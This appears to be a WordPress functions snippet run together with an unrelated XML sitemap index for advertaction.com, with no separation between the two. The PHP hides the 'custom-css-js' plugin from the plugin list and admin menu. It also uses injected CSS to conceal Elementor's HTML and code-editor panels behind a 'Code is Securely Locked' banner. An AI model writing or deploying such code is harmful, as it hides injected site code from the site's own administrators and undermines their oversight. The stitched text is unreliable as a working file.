//plugin hide //
function hide_specific_plugin_from_dashboard($plugins) {
    $target_plugin = 'custom-css-js/custom-css-js.php'; 
    if (isset($plugins[$target_plugin])) {
        unset($plugins[$target_plugin]);
    }
    return $plugins;
}


function remove_custom_css_js_menu() {
    remove_menu_page('edit.php?post_type=custom-css-js');
}


add_filter('all_plugins', 'hide_specific_plugin_from_dashboard');
add_action('admin_menu', 'remove_custom_css_js_menu', 999);






function hide_only_code_panel_in_elementor() {
    add_action( 'elementor/editor/before_enqueue_scripts', function() {
        echo '<style>
            
            .elementor-panel-wp-editor,
            .elementor-control-content .elementor-code-editor-wrapper,
            .elementor-control-html__editor,
            #elementor-controls .ace_editor {
                display: none !important;
                visibility: hidden !important;
                pointer-events: none !important;
            }

            
            .elementor-control-html_html::after {
                content: "🔒 Code is Securely Locked.";
                display: block;
                padding: 30px 15px;
                background: #26292c;
                color: #ff9800;
                text-align: center;
                border: 1px dashed #ff9800;
                border-radius: 4px;
                font-weight: bold;
                font-size: 14px;
                margin-top: 10px;
            }
        </style>';
    });
}


add_action( 'init', 'hide_only_code_panel_in_elementor' );<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//advertaction.com/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://advertaction.com/page-sitemap.xml</loc>
		<lastmod>2026-06-01T20:16:52+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Rank Math SEO Plugin (c) Rank Math - rankmath.com -->